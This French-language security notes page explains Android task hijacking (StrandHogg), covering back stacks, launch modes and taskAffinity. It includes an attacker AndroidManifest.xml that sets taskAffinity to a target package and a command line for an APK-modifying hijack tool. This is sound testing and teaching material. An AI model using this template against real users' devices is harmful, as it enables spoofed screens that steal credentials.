🪧Task hijacking

Description

Une tâche est un ensemble d'activités avec lesquelles les utilisateurs interagissent lorsqu'ils tentent d'effectuer quelque chose dans une application. Ces activités sont disposées dans une pile appelée back stack dans l'ordre dans lequel chaque activité est ouverte.

la back Stack fonctionne comme la méthode « Dernier entré, premier sorti », grâce à laquelle les activités de la pile ne sont jamais réorganisées mais uniquement poussées dans la pile lorsque l'activité en cours la démarre et sont supprimées lorsque l'utilisateur la quitte à l'aide du bouton Précédent.

L'activité affichée à l'écran est appelée activité de premier plan et sa tâche est appelée tâche de premier plan. À la fois, une seule tâche au premier plan est visible à l’écran.

Selon le modèle de sécurité Android, toutes les applications exécutées sur l'appareil seront isolées et mises en sandbox les unes des autres, mais ce n'est pas le cas en ce qui concerne les tâches. Android permet aux activités de différentes applications de co-résider dans la même tâche, ce qui constitue la cause première de la vulnérabilité.

Versions impactées

  • L'attaque StandHogg s'applique à tous les appareils Android < 11 (Niveaux d'API < 30)

  • L'attaque StandHogg 2.0 s'applique à tous les appareils Android < 10 (Niveaux d'API < 29)

Les launch modes

Les modes de lancement sont des attributs d'activité spécifiés dans AndroidManifest.xml (ou peuvent être mentionnés sous forme d'indicateurs dans l'appel de l'intent). Ils fournissent au système d’exploitation sous-jacent des instructions sur la manière dont l’activité doit être lancée.

Il existe quatre modes de lancement différents :

  • standard

  • singleTop

  • singleTask

  • singleInstance

Pour l’attaque décrite ici, nous nous intéressons principalement au mode « singleTask ».

L'une des possibilités de l'activité « singleTask » est qu'elle permet à d'autres activités de faire partie de sa tâche. Elle est toujours à la base de sa tâche, mais d'autres activités (nécessairement des activités « standards » et « singleTop ») peuvent être lancées dans cette tâche.

TaskAffinity est un attribut défini dans chaque balise du fichier AndroidManifest.xml. Il décrit la tâche à laquelle une activité préfère se joindre. Par défaut, chaque activité a la même affinité que le nom du package.

Reconnaissance

Afin de retrouver facilement les activités utilisant le mode de lancement « singleTask », on peut tout simplement effectuer une commande grep dans le fichier AndroidManifest.xml ou simplement les lister manuellement.

Exploitation

Afin d'exploiter la vulnérabilité, il suffit de créer une application en définissant l'attribut taskAffinity sur le package de l'application vulnérable.

Exemple:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.androidtaskhijackingdemo">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:taskAffinity="com.vulnerable.app.here"
        android:theme="@style/Theme.AndroidTaskHijackingDemo">
        <activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

PoC video

Outils

TaskHijacker

TaskHijacker est un outil permettant de modifier un apk existant afin d'y incorporer l'attribut takAffinity pout un package donné.

Exemple d'utilisation:

$ python3 taskhijacker.py -m com.target.xyz -a /path/to/templateApp.apk

ressource: https://github.com/mathis2001/taskHijacker

Dernière mise à jour